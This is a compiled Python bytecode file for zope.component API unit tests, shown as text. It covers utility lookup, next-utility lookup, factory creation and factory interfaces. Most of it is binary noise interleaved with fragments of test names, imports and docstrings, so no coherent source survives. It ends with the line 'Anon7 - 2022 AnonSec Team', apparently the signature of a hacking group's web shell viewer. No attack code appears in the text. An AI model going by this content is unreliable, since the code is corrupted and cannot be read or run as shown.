rr�sz'Test_getUtility.test_anonymous_nonesuchcCs@ddlm}ddlm}Gdd�d|�}|j||j|dd�dS)Nrr*r%c@r?)z1Test_getUtility.test_named_nonesuch.<locals>.IFooNr@r
r
r
rrArBrArbr�r�rEr
r
rr�s
�z#Test_getUtility.test_named_nonesuchcC�Tddlm}ddlm}Gdd�d|�}t�}|��||�|�|�|�|u�dS)Nrr*r,c@r?)z0Test_getUtility.test_anonymous_hit.<locals>.IFooNr@r
r
r
rrArBrA�r3r+r>r-r!�registerUtilityrr�r
r+r-rA�objr
r
rr��z"Test_getUtility.test_anonymous_hitcC�\ddlm}ddlm}Gdd�d|�}t�}|�j||dd�|�|j|dd�|u�dS)Nrr*r,c@r?)z,Test_getUtility.test_named_hit.<locals>.IFooNr@r
r
r
rrArBrArbr�r�r�r
r
rr��zTest_getUtility.test_named_hitc
C�ddlm}ddlm}ddlm}Gdd�dt�}Gdd�d|�}t�}t�}||�}||�}	|��||�|�|j	||	d	�|u�dS)
Nrr*r,rc@�eZdZdd�Zdd�ZdS)z5Test_getUtility.test_w_conforming_context.<locals>.SMcSrMr��_obj�r
r�r
r
rrO'rPz>Test_getUtility.test_w_conforming_context.<locals>.SM.__init__cS�|jSrr��r
�	interfacer�rnr
r
r�queryUtility)�zBTest_getUtility.test_w_conforming_context.<locals>.SM.queryUtilityN�r7r8r9rOr�r
r
r
r�SM&�r�c@r?)z7Test_getUtility.test_w_conforming_context.<locals>.IFooNr@r
r
r
rrA+rBrArC�
r3r+r>r-r rr!r�rr�
r
r+r-rr�rA�obj1�obj2rr#r
r
r�test_w_conforming_context"�z)Test_getUtility.test_w_conforming_contextN)r7r8r9r:rrrr�r�r�r�r�r
r
r
rr��s		r�c@s\eZdZddlmZmZdd�Zdd�Zdd�Zd	d
�Z	dd�Z
d
d�Zdd�Zdd�Z
dS)�Test_queryUtilityrrcOr)Nr)r�)r	r�)r
rrr�r
r
rr9rzTest_queryUtility._callFUTcCs2ddlm}Gdd�d|�}|�|�|�d�dS)Nrr*c@r?)z7Test_queryUtility.test_anonymous_nonesuch.<locals>.IFooNr@r
r
r
rrA?rBrA�r3r+rirr�r
r
rr�=sz)Test_queryUtility.test_anonymous_nonesuchcCs>ddlm}Gdd�d|�}t�}|�|j||d�|u�dS)Nrr*c@r?)zATest_queryUtility.test_anonymous_nonesuch_w_default.<locals>.IFooNr@r
r
r
rrAErBrA)rn�r3r+r!rr�r
r+rAr�r
r
r�!test_anonymous_nonesuch_w_defaultCsz3Test_queryUtility.test_anonymous_nonesuch_w_defaultcCs6ddlm}Gdd�d|�}|�|j|dd�d�dS)Nrr*c@r?)z3Test_queryUtility.test_named_nonesuch.<locals>.IFooNr@r
r
r
rrALrBrArbr�r�r�r
r
rr�J�z%Test_queryUtility.test_named_nonesuchcCs@ddlm}Gdd�d|�}t�}|�|j|d|d�|u�dS)Nrr*c@r?)z=Test_queryUtility.test_named_nonesuch_w_default.<locals>.IFooNr@r
r
r
rrARrBrArb)r�rnr�r�r
r
r�test_named_nonesuch_w_defaultPsz/Test_queryUtility.test_named_nonesuch_w_defaultcCr�)Nrr*r,c@r?)z2Test_queryUtility.test_anonymous_hit.<locals>.IFooNr@r
r
r
rrAZrBrAr�r�r
r
rr�Wr�z$Test_queryUtility.test_anonymous_hitcCr�)Nrr*r,c@r?)z.Test_queryUtility.test_named_hit.<locals>.IFooNr@r
r
r
rrAcrBrArbr�r�r�r
r
rr�`r�z Test_queryUtility.test_named_hitc
Cr�)
Nrr*r,rc@r�)z7Test_queryUtility.test_w_conforming_context.<locals>.SMcSrMrr�r�r
r
rrOnrPz@Test_queryUtility.test_w_conforming_context.<locals>.SM.__init__cSr�rr�r�r
r
rr�pr�zDTest_queryUtility.test_w_conforming_context.<locals>.SM.queryUtilityNr�r
r
r
rr�mr�r�c@r?)z9Test_queryUtility.test_w_conforming_context.<locals>.IFooNr@r
r
r
rrArrBrArCr�r�r
r
rr�ir�z+Test_queryUtility.test_w_conforming_contextN)r7r8r9r:rrrr�r�r�r�r�r�r�r
r
r
rr�5s		r�c@r;)
�Test_getUtilitiesForrrcOr)Nr)�getUtilitiesFor)r	r�)r
rrr�r
r
rr�rzTest_getUtilitiesFor._callFUTcC�6ddlm}Gdd�d|�}|�t|�|��g�dS)Nrr*c@r?)z0Test_getUtilitiesFor.test_nonesuch.<locals>.IFooNr@r
r
r
rrA�rBrA�r3r+rir�rr�r
r
rr��r�z"Test_getUtilitiesFor.test_nonesuchcCs�ddlm}ddlm}Gdd�d|�}t�}t�}|��||�|�j||dd�t|�|��}|�t	|�d�|�
d	|f|v�|�
d|f|v�dS)
Nrr*r,c@r?)z+Test_getUtilitiesFor.test_hit.<locals>.IFooNr@r
r
r
rrA�rBrArbr�r�r2�r3r+r>r-r!r�r�rrir�r)r
r+r-rAr�r�r�r
r
rr��szTest_getUtilitiesFor.test_hitNr�r
r
r
rr�|r�r�c@r;)
�!Test_getAllUtilitiesRegisteredForrrcOr)Nr)�getAllUtilitiesRegisteredFor)r>r�)r
rrr�r
r
rr�rz*Test_getAllUtilitiesRegisteredFor._callFUTcCr�)Nrr*c@r?)z=Test_getAllUtilitiesRegisteredFor.test_nonesuch.<locals>.IFooNr@r
r
r
rrA�rBrAr�r�r
r
rr��r�z/Test_getAllUtilitiesRegisteredFor.test_nonesuchc	Cs�ddlm}ddlm}Gdd�d|�}Gdd�d|�}t�}t�}t�}|��||�|�j||dd	�|��||�t|�|��}|�t	|�d
�|�
||v�|�
||v�|�
||v�dS)Nrr*r,c@r?)z8Test_getAllUtilitiesRegisteredFor.test_hit.<locals>.IFooNr@r
r
r
rrA�rBrAc@r?)z8Test_getAllUtilitiesRegisteredFor.test_hit.<locals>.IBarNr@r
r
r
rrK�rBrKrbr��r�)	r
r+r-rArKr�r�r��utsr
r
rr��sz*Test_getAllUtilitiesRegisteredFor.test_hitNr�r
r
r
rr��r�r�c@r;)
�Test_getNextUtilityrrcOr)Nr)�getNextUtility)r>r)r
rrrr
r
rr�rzTest_getNextUtility._callFUTcCsNddlm}ddlm}|�}td|�}|�|td�|�||j|td�dS)Nrr,r%�global�myutil)	r>r-�zope.component.interfacer&�_makeMyUtilityr��
IMyUtilityr'r)r
r-r&r5�gutilr
r
r�test_global�s

�zTest_getNextUtility.test_globalc
Cs�ddlm}ddlm}ddlm}|�}td|�}|�|td�|d|fd�}|d	|fd�}td
|�}|�|td�|�	||�|u�|�	|�
|td�|u�td|�}	|�|	td�|�	||	�|u�|�	|�
|	td�|u�dS)Nrr,rrIrrr[r\�sm1_1�one�one-one)r>r-rrr_rJrr�rrr)
r
r-rrJr5rr[r�util1�util1_1r
r
rr��s 


zTest_getNextUtility.test_nestedN)	r7r8r9r:rrrrr�r
r
r
rr��s
	r�c@r�)�Test_queryNextUtilityrrcOr)Nr)�queryNextUtility)r>r)r
rrrr
r
rr�rzTest_queryNextUtility._callFUTcCsDddlm}|�}td|�}|�|td�|�|�|td�d�dS)Nrr,rr)r>r-rr�rrir)r
r-r5rr
r
rr�s

z!Test_queryNextUtility.test_globalcCs�ddlm}ddlm}|�}td|�}|�|td�|d|fd�}|d|fd�}td	|�}|�|td�td
|�}|�|td�|�}	td|	�}
|	�|
td�|	f|j|_|�|�	|td�|
u�|�|�	|td�|u�dS)Nrr,rIrrr[r\rr	r
�my_custom_util)
r>r-r_rJrr�r�	__bases__rr)r
r-rJr5rr[rrr�
myregistry�custom_utilr
r
rr��s&



�z!Test_queryNextUtility.test_nestedcsXddlm}ddlm�Gdd�d|�}G�fdd�dt�}|�|�|�|d�d�dS)	Nrr*r%c@r?)z7Test_queryNextUtility.test_wo_sitemanager.<locals>.IFooNr@r
r
r
rrArBrAcr�)z:Test_queryNextUtility.test_wo_sitemanager.<locals>.Contextcr�rr
r�r%r
rrq	r1zFTest_queryNextUtility.test_wo_sitemanager.<locals>.Context.__conform__Nrsr
r%r
rrYr�rYr)r3r+rr&r!rir)r
r+rArYr
r%rr�s
z)Test_queryNextUtility.test_wo_sitemanagerN)
r7r8r9r:rrrrr�r�r
r
r
rr
�sr
c@r;)
�Test_createObjectrrcOr)Nr)�createObject)r>r)r
rrrr
r
rrrzTest_createObject._callFUTcC� ddlm}|�||jd�dS�Nrr%�nonesuch�rr&r'rr(r
r
rrF�zTest_createObject.test_misscsnddlm�t��g���fdd��G��fdd�dt�}|�}|�|jd|d��u�|��d	ifg�dS)
Nr��IFactorycs��||f��Srr�)rr)�_factory_called�_objectr
r�_factorysz,Test_createObject.test_hit.<locals>._factoryc�"eZdZdd�Z��fdd�ZdS)z+Test_createObject.test_hit.<locals>.ContextcS�|Srr
r�r
r
rrq"r1z7Test_createObject.test_hit.<locals>.Context.__conform__cs|�ur
|dkr
�S|S�N�testr
�r
rmr�rn�rrr
rr�$sz8Test_createObject.test_hit.<locals>.Context.queryUtilityN�r7r8r9rqr�r
r$r
rrY!�rYr"rCr
)rrr!rrri)r
rYr#r
)rrrrrr�szTest_createObject.test_hitN�	r7r8r9r:rrrrFr�r
r
r
rr�
rc@r;)
�Test_getFactoryInterfacesrrcOr)Nr)�getFactoryInterfaces)r>r*)r
rrr*r
r
rr1rz"Test_getFactoryInterfaces._callFUTcCrrrr(r
r
rrF5rz#Test_getFactoryInterfaces.test_misscstddlm�ddlm}Gdd�d|��G�fdd�dt��G��fdd	�d	t�}|�}|�|jd
|d��g�dS)Nrrr*c@r?)z0Test_getFactoryInterfaces.test_hit.<locals>.IFooNr@r
r
r
rrA<rBrAcr�)z4Test_getFactoryInterfaces.test_hit.<locals>._Factorycs�gSrr
r�rAr
r�
getInterfaces?r�zBTest_getFactoryInterfaces.test_hit.<locals>._Factory.getInterfacesN�r7r8r9r,r
r+r
r�_Factory>r�r.cr)z3Test_getFactoryInterfaces.test_hit.<locals>.ContextcSr rr
r�r
r
rrqBr1z?Test_getFactoryInterfaces.test_hit.<locals>.Context.__conform__cs|�ur|dkr��S|Sr!r
r#�rr.r
rr�Dsz@Test_getFactoryInterfaces.test_hit.<locals>.Context.queryUtilityNr%r
r/r
rrYAr&rYr"rC)rrr3r+r!rir)r
r+rYr#r
)rrAr.rr�9sz"Test_getFactoryInterfaces.test_hitNr'r
r
r
rr)-r(r)c@r�)�Test_getFactoriesForrrcOr)Nr)�getFactoriesFor)r>r1)r
rrr1r
r
rrPrzTest_getFactoriesFor._callFUTcCr�)Nrr*c@r?)z?Test_getFactoriesFor.test_no_factories_registered.<locals>.IFooNr@r
r
r
rrAVrBrAr�r�r
r
r�test_no_factories_registeredTr�z1Test_getFactoriesFor.test_no_factories_registeredcs�ddlm}ddlm}ddlm�ddlm�Gdd�d|�}Gdd	�d	|�}|||�G�fd
d�dt��}|��G��fdd
�d
t�}|�t|j	||�d��d�fg�|�t|j	||�d��d�fg�dS)Nrr*rG�rrc@r?)z@Test_getFactoriesFor.test_w_factory_returning_spec.<locals>.IFooNr@r
r
r
rrA_rBrAc@r?)z@Test_getFactoriesFor.test_w_factory_returning_spec.<locals>.IBarNr@r
r
r
rrKarBrKcr�)zDTest_getFactoriesFor.test_w_factory_returning_spec.<locals>._Factorycs�|�Srr
rr3r
rr,e�zRTest_getFactoriesFor.test_w_factory_returning_spec.<locals>._Factory.getInterfacesNr-r
r3r
rr.csr.cr)zCTest_getFactoriesFor.test_w_factory_returning_spec.<locals>.ContextcSr rr
r�r
r
rrqir1zOTest_getFactoriesFor.test_w_factory_returning_spec.<locals>.Context.__conform__c�|�ur	d�fgSdSr!r
r�r$r
rr�k�
�zSTest_getFactoriesFor.test_w_factory_returning_spec.<locals>.Context.getUtilitiesForN�r7r8r9rqr�r
r$r
rrYhr&rYrCr")
r3r+rHrrrr!rir�r)r
r+rHrArKr.rYr
)rrrr�test_w_factory_returning_specZs ��z2Test_getFactoriesFor.test_w_factory_returning_speccs�ddlm}ddlm�Gdd�d|��Gdd�d|��G��fdd	�d	t�}|��G��fd
d�dt�}|�t|j�|�d��d
�fg�|�t|j�|�d��d
�fg�dS)Nrr*rc@r?)zNTest_getFactoriesFor.test_w_factory_returning_list_of_interfaces.<locals>.IFooNr@r
r
r
rrAvrBrAc@r?)zNTest_getFactoriesFor.test_w_factory_returning_list_of_interfaces.<locals>.IBarNr@r
r
r
rrKxrBrKcseZdZ��fdd�ZdS)zRTest_getFactoriesFor.test_w_factory_returning_list_of_interfaces.<locals>._Factorycs��gSrr
r�rKrAr
rr,{r4z`Test_getFactoriesFor.test_w_factory_returning_list_of_interfaces.<locals>._Factory.getInterfacesNr-r
r9r
rr.zsr.cr)zQTest_getFactoriesFor.test_w_factory_returning_list_of_interfaces.<locals>.ContextcSr rr
r�r
r
rrqr1z]Test_getFactoriesFor.test_w_factory_returning_list_of_interfaces.<locals>.Context.__conform__cr5r!r
r�r$r
rr��r6zaTest_getFactoriesFor.test_w_factory_returning_list_of_interfaces.<locals>.Context.getUtilitiesForNr7r
r$r
rrY~r&rYrCr")r3r+rrr!rir�r)r
r+r.rYr
)rKrrArr�+test_w_factory_returning_list_of_interfacesss��z@Test_getFactoriesFor.test_w_factory_returning_list_of_interfacesN)
r7r8r9r:rrrr2r8r:r
r
r
rr0Lsr0cCs^ddlm}ddlm}ddlm}tdurGdd�d|�a|t�Gdd�d|��}|||�S)	Nrr*rGrc@r?)rNr@r
r
r
rr�rBrc@rL)z!_makeMyUtility.<locals>.MyUtilitycSs||_||_dSr)�idr")r
r;rr
r
rrO�s
z*_makeMyUtility.<locals>.MyUtility.__init__NrQr
r
r
r�	MyUtility�rSr<)r3r+rHr rr)r�rr+rHrr<r
r
rr�s
rcCs�t�t�t�t�t�t�t�t�t�t�t�t�t�t�t	�t�t
�t�t�t�t�t�t
�t�t�t�t�t�t�t�t�t�t�t�t�t�t�t�t�f�Sr)�unittest�	TestSuite�	makeSuiterr<rfr}r�r�r�r�r�r�r�r�r�r�r�r
rr)r0r
r
r
r�
test_suite�s*�r@)�__doc__r=�TestCaserr<rfr}r�r�r�r�r�r�r�r�r�r�r�r
rr)r0rrr@r
r
r
r�<module>s2
,2FSam;/%<G"$/>

Anon7 - 2022
AnonSec Team